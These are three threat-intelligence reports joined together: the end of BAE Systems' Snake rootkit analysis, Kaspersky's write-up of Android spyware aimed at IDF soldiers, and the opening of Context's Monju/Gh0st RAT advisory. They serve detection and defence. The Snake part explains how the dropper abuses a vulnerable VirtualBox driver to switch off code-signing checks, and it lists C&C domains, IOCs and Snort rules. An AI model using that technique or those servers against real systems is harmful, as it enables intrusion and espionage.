To do that, the dropper first copies itself as: windows\NtUninstallQ817473\fdisk_mon.exe The dropper then registers itself as a service to ensure it starts every time Windows is booted, by creating the values: ErrorControl  0 Type  16 Start  2 ImagePath  SystemRoot\NtUninstallQ817473\fdisk_mon.exe ObjectName  LocalSystem WOW64  1 in the registry key: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Ultra3 Now comes the most interesting part: does the dropper manage to load its 64-bit unsigned driver under 64-bit versions of Windows Vista and later versions, such as 64-bit Windows 7/8?
The answer: Yes, it does.
Does it resort to using bootkit technology, which has been used in the past to bypass protections to load unsigned 64-bit drivers?
The answer: No.
Bootkits must overwrite the Master Boot Record (MBR) and antivirus products are well trained to catch that kind of bad behavior.
The masterminds behind Snake rootkit seem to be well aware of this so what they resorted to instead is leveraging a vulnerability in a well-known virtualization product called VirtualBox, a product made by Oracle which is widely used by researchers to analyse malware.
VirtualBox driver version 1.6.2 was released in June 2, 2008.
Two months later, in August 2008, security researchers reported that its main driver component, which is signed under the entity innotek Gmbh, contained a privilege escalation vulnerability6.
In a nutshell, the VirtualBox software installs a driver called VBoxDrv.
The driver is controlled with the Input/Ouput Control Codes (32-bit values called IOCTL) passed along DeviceIoControl() API.
One of the documented transfer methods that the system uses to pass data between the caller of DeviceIoControl() API and the driver itself is called METHOD_NEITHER.
As per MSDN documentation7, METHOD_NEITHER is a special transfer type when Input/Output Request Packet (IRP) supplies the user-mode virtual addresses of the input and output buffers, without validating or mapping them.
4  http://www.codeproject.com/Articles/28318/Bypassing-PatchGuard-3 5 http://uninformed.org/index.cgi?v3a3p17 6  http://www.coresecurity.com/content/virtualbox-privilege-escalation-vulnerability 7  http://msdn.microsoft.com/en-us/library/windows/hardware/ff543023(vvs.85).aspx http://www.codeproject.com/Articles/28318/Bypassing-PatchGuard-3 http://uninformed.org/index.cgi?v3a3p17 http://www.coresecurity.com/content/virtualbox-privilege-escalation-vulnerability http://msdn.microsoft.com/en-us/library/windows/hardware/ff543023(vvs.85).aspx 23BAE Systems Applied Intelligence: Snake Rootkit Report 2014 It is the responsibility of the driver to validate the addresses sent from user mode in order to make sure those addresses are valid usermode addresses.
The source code of the vulnerable driver (shown below) demonstrates how the integer value of the rc variable is first derived from the input parameters pDevObj (device object) and pIrp (request packet).
Next, that integer value is written into the UserBuffer - an arbitrary address, pointed by the input parameter pIrp (request packet).
As there are no validations made for the UserBuffer an attacker can craft such input parameters that will define address within kernel memory to patch and the data to patch it with: 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 / Device I/O Control entry point.
param   pDevObj     Device object.
param   pIrp        Request packet.
/
NTSTATUS _stdcall VBoxDrvNtDeviceControl(PDEVICE_OBJECT pDevObj, PIRP pIrp)  PSUPDRVDEVEXT       pDevExt  (PSUPDRVDEVEXT)pDevObj-DeviceExtension PIO_STACK_LOCATION  pStack  IoGetCurrentIrpStackLocation(pIrp) PSUPDRVSESSION      pSession  (PSUPDRVSESSION)pStack-FileObject-FsContext ULONG ulCmd  pStack-Parameters.
DeviceIoControl.
IoControlCode if (  ulCmd  SUP_IOCTL_FAST_DO_RAW_RUN ulCmd  SUP_IOCTL_FAST_DO_HWACC_RUN ulCmd  SUP_IOCTL_FAST_DO_NOP)  int rc ... rc  supdrvIOCtlFast(ulCmd, pDevExt, pSession) // supdrvIOCtlFast() function itself will return: // pDevExt-pfnVMMR0EntryFast(pSession-pVM, SUP_VMMR0_DO_NOP) // the function depends pDevExt and pSession, which in turn // are derived from the input parameters pDevObj and pIrp // therefore, rc value can be manipulated __try  // save the manipulated rc value back into (int )pIrp-UserBuffer  rc   // the input parameter (the address to patch)  __except(EXCEPTION_EXECUTE_HANDLER)  ...    Now that the vulnerable driver can be used as a weapon to patch kernel memory, all the malware needs to do is to patch the content of the variable ntg_CiEnabled, a boolean variable Code Integrity Enabled that marks whether the system was booted in WinPE mode.
When running in WinPE mode there is no Code Integrity control, therefore by enabling this mode by patching only one bit, Code Integrity verification is disabled so that the unsigned 64-bit driver can be loaded.
This variable is used within the function SepInitializeCodeIntegrity(), implemented within CI.dlls function CiInitialize() and imported by the NT core (ntoskrnl.exe).
In order to find the variable in kernel memory, the Snake dropper loads a copy of the NT core image (ntoskrnl.exe), locates the import of CI.dlls function CiInitialize(), and then SepInitializeCodeIntegrity() within it.
Then it parses the functions code to locate the offset of the variable.
Once located, the content of the variable ntg_CiEnabled is patched in kernel memory and the 64-bit unsigned driver is loaded.
This explains why Snake dropper registers itself as a service to start each time Windows starts: in order to install the vulnerable VBox driver first, then pass it a malformed structure to disable Code Integrity control with a DeviceIoControl() API call, and finally, load the driver.
In order to be able to perform the steps above, the dropper must first obtain Administrator privileges.
It attempts to do this by running MS09-025 and MS10-015 exploits on the target system.
These exploits are bundled within the dropper in its resource section as executable files.
Other resources embedded within the dropper are the 32-bit and 64-bit builds of its driver, a tool for creating NTFS file systems, and the initial message queue file which is written into the virtual volume.
The message queue file contains configuration data and the libraries that will be injected into usermode processes.
24BAE Systems Applied Intelligence: Snake Rootkit Report 2014 USERMODE DLLS The usermode DLLs injected by the kernel-mode driver into the userland system process (e.g.
explorer.exe) are: 32-bit Windows OS: rkctl_Win32.dll inj_snake_Win32.dll 64-bit Windows OS: rkctl_x64.dll inj_snake_x64.dll The rkctl_Win32.dll/rkctl_x64.dll module uses the following hard-coded named pipe for communications: \\.\pipe\services_control The remote commands it receives appear to be designed to control other components of Snake: tc_cancel config_read_uint32 tr_free tr_alloc tc_send_request tr_write_pipe snake_modules_command t_setoptbin The inj_snake_Win32.dll/inj_snake_x64.dll module exports 61 functions.
It is designed to perform the high-level tasks such as: manage the configuration data (by using a queue) exfiltrate data by using Windows Internet (WinINet) APIs or Windows Sockets 2 (Winsock) APIs: communicate with the CC server and receive commands to execute submit logs to the CC server and other reports When the DLL activates, it reads configuration parameters from the configuration queue, that the driver creates on a virtual volume.
One of the parameters defines the pipe name(s) that the DLL should use for its communications.
The remote commands received by this Snake DLL module are designed to set up various communication parameters: To post the data, the DLL can use the following User-Agent string Mozilla/4.0 (compatible MSIE 6.0).
It may rely on the following Internet Media types (MIME types) for data exfiltration: application/x-shockwave-flash image/pjpeg image/jpeg image/x-xbitmap Request type it uses can either be POST of GET, and CC server resource name is /default.asp.
http_log http_no_pragma_cache http_no_accept proxy_useragent proxy_bypass proxy_server proxy_discover proxy_passwd proxy_user check_inet tc_free_data tc_get_reply tc_read_request_pipe tc_send_request_bufs t_close tc_socket snake_free snake_alloc image/gif application/msword application/vnd.ms-excel application/vnd.ms-powerpoint redir_str http_max_opt http_option http_uri no_server_hijack imp_level net_password net_user write_peer_nfo read_peer_nfo 25BAE Systems Applied Intelligence: Snake Rootkit Report 2014 RECONNAISSANCE TOOL One of the Snake components that could have been downloaded from a remote CC server, was identified as a network reconnaissance tool.
When run as a command line tool, with its logic defined with the command line switches, this tool enumerates other network hosts and detects what Windows RPC services are enabled at the endpoints.
It carries a list of interface identifiers associated with the named pipes.
It then uses these identifiers to write a message to and read a message from the associated named pipes.
By knowing what RPC services are running, it can successfully fingerprint all network hosts by mimicking the Metasploits logic of OS fingerprinting via SMB.
The fingerprinting allows it to reveal the following characteristics for each host found in the network: the version of the operating system version of the service pack the installed network services The data it retrieves is encrypted and saved into a configuration file system\vtmon.bin.
This file is then further encrypted with an NTL-based (Number Theory Library) algorithm and is uploaded by the usermode-centric Snake rootkit to the CC server, along with other configuration files, such as mtmon.sdb, mtmon32.sdb, gstatsnd.bin, gstat.bin, gstat32.bin, and other log files found in the windows\NtUninstallQ[random] directory.
By using this function the remote attacker can identify any potentially exploitable hosts located in the same network as the victim.
The attacker may then craft an exploit against those hosts, possibly by using the Metasploit framework, and then deliver the generated shellcode back to the reconnaissance tool to be applied against the identified hosts by running the tool with the exp_os switch.
If the tool successfully delivers the payload and exploits the remote host(s), it will replicate the infection across the network, taking control over new hosts, thus repeating the infection cycle all over again and spreading the infection further.
Unlike traditional worm techniques, this process is rather manual, but its danger is in the fact that the attacker can flexibly craft new attack methods, adjusting them to the hosts present within the network, thus preying on the weakest (least updated, most vulnerable) victims along its path.
26BAE Systems Applied Intelligence: Snake Rootkit Report 2014 RELATIONSHIP TO AGENT.BTZ The cyber-espionage operation behind the Snake rootkit is well established, a sample comiled in January 2006 indicates that the activity would have begun in at least 2005.
It is also sophisticated, using complex techniques for evading host defences and providing the attackers covert communication channels.
Toolmarks left behind by the authors vlad  gilg, leave tantalizing clues as to the personas behind this.
From a technical perspective, Snake demonstrates two very different approaches to the task of building a cyber-espionage toolkit.
One approach is to delegate the network communication engine to usermode code, backed up by a usermode rootkit.
Another approach is to carry out all of the communications from the kernel-mode driver, which is a very challenging task by itself.
The complexity of the usermode-centric approach is on par with Rustock rootkit - it uses similar techniques.
Its an old well-polished technology that evolved over the years and demonstrated its resilience and survivability under the stress of security counter- measures.
The complexity of the kernel-centric architecture of Snake is quite unique.
This architecture is designed to grant Snake as much flexibility as possible.
When most of the infected hosts are cut off from the outside world, it only needs one host to be connected online.
The traffic is then routed through that host to make external control and data exfiltration still possible.
The presence of the reconnaissance tool in the Snake operators framework suggests the existence of an arsenal of infiltration tools, designed to compromise a system, then find a way to replicate into other hosts, infect them, and spread the infection even further.
As demonstrated, the backdoor commands allow Snake to provide remote attackers with full remote access to the compromised system.
Its ability to hibernate, staying fully inactive for a number of days, makes its detection during that time very difficult.
The analysed code suggests that even file system and registry operations can be delegated by an infected module to another module in order to stay unnoticed by behaviour analysis engines of the antivirus products, and to overcome account restrictions of the browser processes so that the injected module could still write into files and into the sensitive registry hives.
The logs and dumps it creates on the hidden virtual volumes contributes to its stealthiness too.
A great deal of attention has also been given to keep its network communications as quiet as possible.
Its ability to generate malicious traffic whenever the user goes online and start loading the web pages allows it to blend in with the legitimate communications.
We expect much more will be uncovered by researchers in the coming weeks as the capabilities of this operation are further fleshed out.
However, as we implied in the opening section, we view this threat to be a permanent feature of the landscape.
Whether they dismantle this toolset and start from scratch, or continue using tools which have been exposed, remains to be seen.
For their targets though the considerable challenge of keeping secrets safe on sensitive networks will certainly continue for years to come.
RECOMMENDATIONS Search logs for connections to Snakes command and control servers (see Appendix A) Search for MD5 hashes of the known samples (see Appendix B) Use Indicators of Compromise for building host-based rules (see Appendix C) Deploy SNORT rules for network based detection of Snake (see Appendix D) CONCLUSION As seen from the check-in logs found within one of the recent samples, the time span covers almost 6 years from January 2007 till December 2012, which is aligned with the first reports of Agent.
BTZ.
Its worth noting that Agent.
BTZ used the same XOR key for its logs as the most recent variants: 1dM3uu4j7Fw4sjnbcwlDqet4F7JyuUi4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6gs923HL34x2f5cvd0fk6c1a0s Log files created by the latest samples of Snake, compiled in 2013 and 2014, were successfully decrypted with the same XOR key.
Other similarities include the usage of the virtual partition \\.\Vd1, the temporary file named FA.tmp, usage of files named mswmpdat.tlb, wmcache.nld, winview.ocx.
27BAE Systems Applied Intelligence: Snake Rootkit Report 2014 APPENDIX A Domain IP Address Country Contact Email Nameserver arctic-zone.bbsindex.com 124.248.207.50 HK abusedirectnic.com NS1.DTDNS.COM cars-online.zapto.org 124.248.207.50 HK domainsno-ip.com NF1.NO-IP.COM eunews-online.zapto.org 124.248.207.50 HK domainsno-ip.com NF1.NO-IP.COM fifa-rules.25u.com 124.248.207.50 HK abuseweb.com NS1.CHANGEIP.ORG forum.sytes.net 124.248.207.50 HK domainsno-ip.com NF1.NO-IP.COM franceonline.sytes.net 124.248.207.50 HK domainsno-ip.com NF1.NO-IP.COM freeutils.3utilities.com 124.248.207.50 HK domainsno-ip.com NF1.NO-IP.COM health-everyday.faqserv.com 124.248.207.50 HK abuseweb.com NS1.CHANGEIP.ORG nhl-blog.servegame.com 124.248.207.50 HK domainsno-ip.com NF1.NO-IP.COM olympik-blog.4dq.com 124.248.207.50 HK abuseweb.com NS1.CHANGEIP.ORG pockerroom.servebeer.com 124.248.207.50 HK domainsno-ip.com NF1.NO-IP.COM pressforum.serveblog.net 124.248.207.50 HK domainsno-ip.com NF1.NO-IP.COM scandinavia-facts.sytes.net 124.248.207.50 HK domainsno-ip.com NF1.NO-IP.COM sportmusic.servemp3.com 124.248.207.50 HK domainsno-ip.com NF1.NO-IP.COM stockholm-blog.hopto.org 124.248.207.50 HK domainsno-ip.com NF1.NO-IP.COM supernews.sytes.net 124.248.207.50 HK domainsno-ip.com NF1.NO-IP.COM sweeden-history.zapto.org 124.248.207.50 HK domainsno-ip.com NF1.NO-IP.COM tiger.got-game.org 124.248.207.50 HK abuseweb.com NS1.CHANGEIP.ORG top-facts.sytes.net 124.248.207.50 HK domainsno-ip.com NF1.NO-IP.COM weather-online.hopto.org 124.248.207.50 HK domainsno-ip.com NF1.NO-IP.COM wintersport.sytes.net 124.248.207.50 HK domainsno-ip.com NF1.NO-IP.COM x-files.zapto.org 124.248.207.50 HK domainsno-ip.com NF1.NO-IP.COM forum.4dq.com 203.117.122.51 SG abuseweb.com NS1.CHANGEIP.ORG forum.acmetoy.com 203.117.122.51 SG abuseweb.com NS1.CHANGEIP.ORG marketplace.servehttp.com 59.125.160.178 TW domainsno-ip.com NF1.NO-IP.COM music-world.servemp3.com 80.152.223.171 DE domainsno-ip.com NF1.NO-IP.COM newutils.3utilities.com 80.152.223.171 DE domainsno-ip.com NF1.NO-IP.COM interesting-news.zapto.org 80.152.223.171 DE domainsno-ip.com NF1.NO-IP.COM north-area.bbsindex.com abusedirectnic.com NS1.DTDNS.COM academyawards.effers.com abusedirectnic.com NS1.DTDNS.COM cheapflights.etowns.net abusedirectnic.com NS1.DTDNS.COM toolsthem.xp3.biz supportfreewha.com NS2.FREETZI.COM softprog.freeoda.com supportfreewha.com NS1.ORGFREE.COM euassociate.6te.net supportfreewha.com NS1.6TE.NET euland.freevar.com supportfreewha.com NS1.UEUO.COM communityeu.xp3.biz supportfreewha.com NS2.FREETZI.COM swim.onlinewebshop.net abuseenom.com NS1.RUNHOSTING.COM july.mypressonline.com abuseenom.com NS1.RUNHOSTING.COM winter.site11.com abusegodaddy.com NS1.000WEBHOST.COM eu-sciffi.99k.org reportabuse.zymic.com NF1.99K.ORG 28BAE Systems Applied Intelligence: Snake Rootkit Report 2014 APPENDIX B MD5 Hash File Type FileSize Compile Time Notes Kernel-centric architecture f4f192004df1a4723cb9a8b4a9eb2fbf 32-bit driver 206 KB 2011-06-24 07:49:41 fdisk.sys, Ultra3.sys 626576e5f0f85d77c460a322a92bb267 32-bit dropper 1,669 KB 2013-02-04 13:19:21 fdisk_mon.exe 90478f6ed92664e0a6e6a25ecfa8e395 64-bit driver 584 KB 2013-02-04 13:17:56 fdisk.sys, Ultra3.sys 1c6c857fa17ef0aa3373ff16084f2f1c 32-bit driver 219 KB 2013-02-04 13:20:00 fdisk.sys, Ultra3.sys Usermode-centric architecture 973fce2d142e1323156ff1ad3735e50d 32-bit driver 673 KB 2013-08-29 07:34:54 msw32.sys, cmbawt.sys 2eb233a759642abaae2e3b29b7c85b89 32-bit DLL 416 KB 2013-07-25 05:58:47 dropped DLL Reconnaissance tool c82c631bf739936810c0297d31b15519 32-bit exe 176 KB 2013-03-27 08:25:43 wextract.exe Other analysed samples f293c9640aa70b49f35627ef7fb58f15 32-bit exe 294 KB 2014-01-28 16:05:32 2014 sample 440802107441b03f09921138303ca9e9 32-bit driver 428 KB 2014-01-24 10:13:06 2014 sample 6406ad8833bafec59a32be842245c7dc 32-bit driver 277 KB 2013-03-29 07:51:34 Ultra3.sys, Adaptec Windows Ultra3 Family Driver c09fbf1f2150c1cc87c8f45bd788f91f 32-bit DLL 404 KB 2013-03-28 06:49:36 dropped DLL mscpx32n.dll 5ce3455b85f2e8738a9aceb815b48aee 32-bit driver 280 KB 2013-03-29 07:44:26 Ultra3.sys, Adaptec Windows Ultra3 Family Driver b329095db961cf3b54d9acb48a3711da 32-bit DLL 412 Kb 2013-03-27 07:10:09 dropped DLL kbdsmfno.dll cfe0ef3d15f6a85cbd47e41340167e0b 32-bit dropper 363 KB 2012-12-18 08:22:47 mswint.exe,chset.exe b86137fa5a232c614ec5405be4d13b37 32-bit DLL 223 KB 2012-12-18 08:22:43 libadcodec.dll 47f554745ef2a48baf3298a7aa2937e2 32-bit DLL 42 KB 2012-12-18 08:21:06 oleaut32.dll ed785bbd156b61553aaf78b6f71fb37b 64-bit driver 435 KB 2011-06-24 07:47:59 A0009548.sys 1c18c3ef8717bb973c5091ce0bbf6428 32-bit exe 179 KB 2011-06-21 12:28:28 MSWAUDIT.EXE, utility 29BAE Systems Applied Intelligence: Snake Rootkit Report 2014 APPENDIX C Location Type Data Memory Event \BaseNamedObjects\B93DFED5-9A3B-459b-A617-59FD9FAD693E \BaseNamedObjects\shell.
F21EDC09-85D3-4eb9-915F-1AFA2FF28153 \BaseNamedObjects\wininet_activate Memory Device \Device\RawDisk1 \Device\RawDisk2 \Device\vstor32 Memory Antirootkit findings unknown pages with executable code, that cant be mapped to any driver presence of custom interrupt 0xC3 along with multiple hooks hidden drivers Ultra3, ROOT, hidden file fdisk.sys File system Volume \\.\Hd1 \\.\Hd2 \\.\vd1 Registry Key HKLM\System\CurrentControlSer\Services\Ultra3 HKLM\System\CurrentControlSer\Services\ROOT File system File windows\NtUninstallQ[random]\mtmon.sdb windows\NtUninstallQ[random]\mtmon_.sdb windows\NtUninstallQ[random]\scmp.bin windows\NtUninstallQ[random]\ucmp.bin windows\NtUninstallQ[random]\isuninst.bin windows\NtUninstallQ[random]\mswmpdat.tlb windows\NtUninstallQ[random]\wmcache.nld windows\NtUninstallQ[random]\SPUNINST\Temp system\vtmon.bin windows\NtUninstallQ817473\hotfix.dat windows\NtUninstallQ817473\fdisk.sys windows\NtUninstallQ817473\fdisk_mon.exe windows\NtUninstallQ817473\rkng_inst.exe Memory Named Pipe \\.\Pipe\SP[COMPUTERNAME] \\.\Pipe\UP[COMPUTERNAME] \\.\Pipe\isapi_http \\.\Pipe\isapi_log \\.\Pipe\isapi_dg \\.\Pipe\services_control 30BAE Systems Applied Intelligence: Snake Rootkit Report 2014 Canditate SNORT rules: alert tcp EXTERNAL_NET HTTP_PORTS - HOME_NET any (msg:Snake rootkit, usermode-centric encrypted command from server content:01 00 00 00 00 00 00 001dM3uu4j7Fw4sjnb content:HTTP/1.1 200 OK flow:to_client, established sid:1000010) alert tcp HOME_NET any - EXTERNAL_NET HTTP_PORTS (msg:Snake rootkit, usermode-centric client request content:/1/6b- 558694705129b01c0 content:Connection: Keep-Alive0d 0a flow:to_server,established sid:1000011) APPENDIX D Copyright  BAE Systems 2014.
All rights reserved.
BAE SYSTEMS, the BAE SYSTEMS Logo and the product names referenced herein are trademarks of BAE Systems plc.
BAE Systems Applied Intelligence Limited registered in England  Wales (No.1337451) with its registered office at Surrey Research Park, Guildford, England, GU2 7RQ.
No part of this document may be copied, reproduced, adapted or redistributed in any form or by any means without the express prior written consent of BAE Systems Applied Intelligence.
FOR MORE INFORMATION CONTACT: BAE Systems Applied Intelligence E: marketingaibaesystems.com W: www.baesysytems.com/ai 265 Franklin Street Boston MA 02110 USA T: 1 (617) 737 4170 Unit 2B-12-1 Jalan Stesen Sentral 5 Kuala Lumpur Sentral Kuala Lumpur, 50470 T: 603 2780 2052 AUSTRALIA                          UK                                          US Surrey Research Park Guildford Surrey, GU2 7RQ United Kingdom T: 44 (0) 1483 816000 Dubai Internet City Building 17 Office Ground Floor 53 PO Box 500523 Dubai T: 971 4369 4369 Level 6 62 Pitt St Sydney NSW 2000 Australia T: 61 (0) 1300 027 001 MALAYSIA                           DUBAI
Breaking The Weakest Link Of The Strongest Chain securelist.com /blog/incidents/77562/breaking-the-weakest-link-of-the-strongest-chain/ Around July last year, more than a 100 Israeli servicemen were hit by a cunning threat actor.
The attack compromised their devices and exfiltrated data to the attackers command and control server.
In addition, the compromised devices were pushed Trojan updates, which allowed the attackers to extend their capabilities.
The operation remains active at the time of writing this post, with attacks reported as recently as February 2017.
The campaign, which experts believe is still in its early stages, targets Android OS devices.
Once the device is compromised, a process of sophisticated intelligence gathering starts, exploiting the ability to access the phones video and audio capabilities, SMS functions and location.
The campaign relies heavily on social engineering techniques, leveraging social networks to lure targeted soldiers into both sharing confidential information and downloading the malicious applications.
Characterized by relatively unsophisticated technical merit, and extensive use of social engineering, the threat actor targets only IDF soldiers.
IDF C4I  the IDF Information Security Department unit, with Kaspersky Lab researchers, have obtained a list of the victims among them IDF servicemen of different ranks, most of them serving around the Gaza strip.
Attack Flow The operation follows the same infection flow across the different victims: Figure 1: Campaigns attack flow Social Engineering The threat actor uses social engineering to lure targets into installing a malicious application, while continuously attempting to acquire confidential information using social networks.
Weve seen a lot of the groups activity on Facebook Messenger.
Most of the avatars (virtual participants in the social engineering stage) lure the victims using sexual innuendo, e.g.
asking the victim to send explicit photos, and in return sending fake photos of teenage girls.
The avatars pretend to be from different countries such as Canada, Germany, Switzerland and more.
1/6 https://securelist.com/blog/incidents/77562/breaking-the-weakest-link-of-the-strongest-chain/ https://cdn.securelist.com/files/2017/02/weakest_eng_1.png https://cdn.securelist.com/files/2017/02/weakest_eng_2.png https://cdn.securelist.com/files/2017/02/weakest_eng_3.png https://cdn.securelist.com/files/2017/02/weakest_eng_4.png https://cdn.securelist.com/files/2017/02/weakest_eng_5.png https://cdn.securelist.com/files/2017/02/weakest_eng_6.png Dropper After the victim downloads the APK file from the malicious URL, the attacker expects the victim to install the package manually.
The dropper requires common user permissions as shown in the following screenshot.
Figure 2: Dropper permissions once installed on a victim mobile device Key features The dropper relies on the configuration server which uses queries in order to download the best fitting payload for the specified device.
Downloader  Watchdog of the main payload Payload update mechanism Customized payload  the dropper sends a list of installed apps, and receives a payload package based on it Obfuscation  The dropper package is obfuscated using ProGuard, which is an open source code obfuscator and Java optimizer, observed in the LoveSongs dropper.
Network Protocols The network protocol between the dropper and the configuration server is based on HTTP POST requests.
The following servers implement a RESTful API: LoveSongs  http://endpointup[.
]com/update/upfolder/updatefun.php YeeCall, WowoMessanger  http://droidback[.
]com/pockemon/squirtle/functions.php Figure 3: Communication with CC server over HTTP Most of the communication with the server is in clear-text, except for specific commands which are encrypted using an AES- 128 hard coded-key.
2/6 Figure 4: WowoMessanger REST-API POST packet capture Figure 5: Fake WowoMessanger app  logic flow Along with an ID existence check, the dropper sends a list of the devices installed apps  if it hasnt done so already.
The flow between different variants of the dropper is similar, with minor changes.
One variant pretends to be a YouTube player, while others are chat apps: LoveSongs has YouTube player functionality, whereas WowoMessanger does not have any legitimate functionality whatsoever it erases its icon after the first run.
Payload The payload is installed after one of the droppers mentioned above has been downloaded and executed on the victim device.
The only payload we have seen so far is WhatsApp_Update.
The payload is capable of two collection mechanisms: Execute On demand commands  manual commands that are triggered by the operator Scheduled process  scheduled tasks that collect information periodically from various sources.
3/6 Most of the collected data will be sent only when a WI-FI network is available.
CC Commands The payload uses the WebSocket protocol, which gives the attacker a real-time interface to send commands to the payload in a way that resembles reverse shell.
Some of the commands are not yet implemented (as shown in the table below).
The commands gives the operator basic yet dangerous RAT capabilities: Collect general information about the device e.g.
Network operator, GPS location, IMEI etc.
Open a browser and browse to a chosen URL Read  send SMS messages, and access contacts Eavesdrop at a specific time and period Take pictures (using the camera) or screenshots Record video and audio.
COLL_AUDIO_RECORDS COLL_CALL_RECORDS GET_LOCATION CHECK_AVAILABILITY OPEN_WEBPAGE GET_IMAGE GET_DEVICE_INFO COLL_CAPTURED_PHOTOS GET_TELEPHONY_INFO GET_CELLS_INFO TAKE_SCREENSHOT CALL_PHONE GET_SEC_GALL_CACHE GET_SMS SEND_SMS GET_CONTACTS GET_BOOKMARKS TAKE_BACK_PIC CHANGE_AUDIO_SOURCE RECORD_AUDIO GET_SEARCHES CLOSE_APP GET_HISTORY OPEN_APP GET_CALENDER_EVENTS RESTART GET_USER_DICTIONARY SHUTDOWN UNINSTALL_APP GET_ACCOUNTS INSTALL_APK GET_INSTALLED_APPS GET_WHATSAPP_KEY RECORD_FRONT_VIDEO GET_WHATSAPP_BACKUP GET_FILE GET_CALLS GET_ROOT_STATUS TAKE_FRONT_PIC RECORD_BACK_VIDEO INVALID_COMMAND REMOVE_FILE Commands which were implemented are in bold.
Scheduled Process Besides the CC commands, the payload periodically collects data using various Android APIs.
The default time interval is 30 seconds.
The process collects the following data: General data about the device (as mentioned in the CC command) SMS messages, WhatsApp database along with the encryption key (requires root permissions which is not yet fully implemented) Browsing  search history along with bookmarks Documents and archives (  2MB ) found in storage (doc, docx, ppt, rar, etc) Pictures taken, auto captures while on an active call List of contacts and call logs Records calls and eavesdrops Updates itself 4/6 The attackers implemented all of the malicious logic without any native or third-party sources.
The logic behind the automatic call-recording feature is implemented entirely using Androids API.
Figure 6: Call-Recording implementation in WhatsApp_update Conclusions The IDF, which led the research along with Kaspersky Lab researchers, has concluded that this is only the opening shot of this operation.
Further, that it is by definition a targeted attack against the Israeli Defense Force, aiming to exfiltrate data on how ground forces are spread, which tactics and equipment the IDF is using and real-time intelligence gathering.
Kaspersky Lab GReAT researchers will disclose more behind-the-scenes details of the operation at the upcoming Security Analyst Summit.
IOCs Domain names  APK hashes androidbak[.
]com droidback[.
]com endpointup[.
]com siteanalysto[.
]com goodydaddy[.
]com 10f27d243adb082ce0f842c7a4a3784b01f7248e b8237782486a26d5397b75eeea7354a777bff63a 09c3af7b0a6957d5c7c80f67ab3b9cd8bef88813 9b923303f580c999f0fdc25cad600dd3550fe4e0 0b58c883efe44ff010f1703db00c9ff4645b59df 0a5dc47b06de545d8236d70efee801ca573115e7 782a0e5208c3d9e8942b928857a24183655e7470 5f71a8a50964dae688404ce8b3fbd83d6e36e5cd 03b404c8f4ead4aa3970b26eeeb268c594b1bb47 Certificates  SHA1 fingerprints 10:EB:7D:03:2A:B9:15:32:8F:BF:68:37:C6:07:45:FB:DF:F1:87:A6 9E:52:71:F3:D2:1D:C3:22:28:CB:50:C7:33:05:E3:DE:01:EB:CB:03 44:52:E6:4C:97:4B:6D:6A:7C:40:AD:1E:E0:17:08:33:87:AA:09:09 67:43:9B:EE:39:81:F3:5E:10:33:C9:7A:D9:4F:3A:73:3B:B0:CF:0A 5/6 https://sas.kaspersky.com 89:C8:E2:E3:4A:23:3C:A0:54:A0:4A:53:D6:56:C8:2D:4A:8D:80:56 B4:D5:0C:8B:73:CB:A9:06:8A:B3:F2:49:35:F8:58:FE:A2:3E:2E:3A 6/6 Breaking The Weakest Link Of The Strongest Chain Attack Flow Social Engineering Dropper Key features Network Protocols Payload CC Commands Scheduled Process Conclusions IOCs Domain names  APK hashes Certificates  SHA1 fingerprints
TLP: WHITE Context Information Security TLP: WHITE E Context Threat Intelligence Threat Advisory The Monju Incident Context Ref.
TA10009 Author Context Threat Intelligence (CTI) Date  27/01/2014 Tel 44 (0) 20 7537 7515 Fax 44 (0) 20 7537 1071 Email threatcontextis.co.uk mailto:technicalcontextis.co.uk TLP: WHITE TLP: WHITE Page 2 / 11 Contents 1 Distribution 3 2 Executive Summary 4 3 The Monju Incident 5 3.1 Infection Vector 5 3.2 Malware 6 3.2.1 Overview 6 3.2.2 Detection 8 4 Appendix A  File Metadata 9 TLP: WHITE TLP: WHITE Page 3 / 11 1 Distribution Context Information Security distribute Context Threat Intelligence (CTI) reporting under the Traffic Light Protocol (TLP)[1], a method of classifying a document in order to promote the distribution of sensitive information between individuals, organisations or communities in a controlled and trusted way, based on the originators wishes.
The various levels of the TLP are represented by the following colours: RED - Personal for named recipients only Sources may use TLP: RED when information cannot be effectively acted upon by additional parties, and could lead to impacts on a partys privacy, reputation, or operations if misused.
Recipients may not share TLP: RED information with any parties outside of the specific exchange, meeting, or conversation in which it is originally disclosed.
TLP: RED information will be passed verbally or in person.
AMBER - Limited Distribution Sources may use TLP: AMBER when information requires support to be effectively acted upon, but carries risks to privacy, reputation, or operations if shared outside of the organisations involved.
Recipients may only share TLP: AMBER information with members of their own organisation who need to know, and only as widely as necessary to act on that information.
GREEN  Community Wide Sources may use TLP: GREEN when information is useful for the awareness of all participating organisations as well as with peers within the broader community or sector.
Recipients may share TLP: GREEN information with peers and partner organisations within their sector or community, but not via publicly accessible channels such as publication or posting publicly on the Internet.
-
Unlimited Distribution Sources may use TLP: WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release.
Subject to standard copyright rules, TLP: WHITE information may be distributed freely, without restriction.
1 http://www.oecd.org/dataoecd/25/10/40761118.pdf http://www.oecd.org/dataoecd/25/10/40761118.pdf TLP: WHITE TLP: WHITE Page 4 / 11 2 Executive Summary On 2nd January 2014 a Systems Administrator at the Monju fast breeder reactor facility in Japan noticed suspicious connections emanating from a machine in the control room, coinciding with what was a seemingly routine software update to a free media player.
Among other items, staff training documents and more than 40,000 emails were stored on the machine and thought to be harvested by the attacker.
The Japanese Atomic Energy Agency is investigating further.
The attack appears to have been the result of the attackers having compromised the GOM Player update server and having it act as a watering hole, meaning that machines which access the site are delivered malware.
Gom Player originates in South Korea and in some parts of Asia it is a popular alternative to Windows Media Player.
It is unclear whether every machine trying to download an update received this malware or whether only machines which fitted a certain profile were infected.
Technical analysis of the implant on the compromised machine has shown it to be a variant of a Trojan which has been in the wild for some years now and continues to be effective.
The Gh0st RAT has been used extensively in attacks linked to the Chinese state, though it is important to remember that the code is publicly available and can be modified and used by anyone.
The targeting of a Japanese nuclear facility however, is consistent with Chinese state intelligence requirements.
If this is the work of a Chinese group then we feel the targeting may go much further than the Civil Nuclear sector and thus be of interest to the wider Energy Sector and industry as a whole.
In order to inform the Energy Sector and beyond about this attack, we have compiled a technical summary of the attack and have provided a number of Indicators Of Compromise (IOCs) which can be used to aid detection.
